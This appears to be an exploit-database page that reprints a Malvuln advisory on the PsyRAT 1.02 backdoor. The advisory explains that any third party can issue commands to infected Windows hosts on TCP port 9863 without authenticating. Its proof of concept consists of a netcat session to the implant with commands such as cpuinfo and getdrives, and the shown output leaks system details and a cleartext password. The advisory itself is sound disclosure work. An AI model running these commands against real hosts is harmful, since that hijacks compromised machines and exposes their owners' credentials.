Exploitalert - Database of Exploits

Backdoor.Win32.PsyRat.b / Unauthenticated Remote Command Execution

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-XX	Unknown	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-07-27

CPE
cpe:cpe:/o:microsoft:windows

CVSS	EPSS	EPSSP
CVSS:7.5/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.864278	0.963298

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021070155

Backdoor.Win32.PsyRat.b / Unauthenticated Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.PsyRat.b Vulnerability: Unauthenticated Remote Command Execution Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password. Type: PE32 MD5: 5817183894cb513239f6aef28895130c Vuln ID: MVID-2021-0306 Dropped files: server.exe Disclosure: 07/26/2021 Exploit/PoC: nc64.exe x.x.x.x 9863 PASS BADPWD Invalid command whatami you are a loser whatismyip 192.168.18.130 cpuinfo Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port: 192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL: http://yourdomain.com/log.php Invalid command. version PsyRAT 0.01 BETA getdrives C:\ - Fixed Drive^D:\ - CD-ROM^ Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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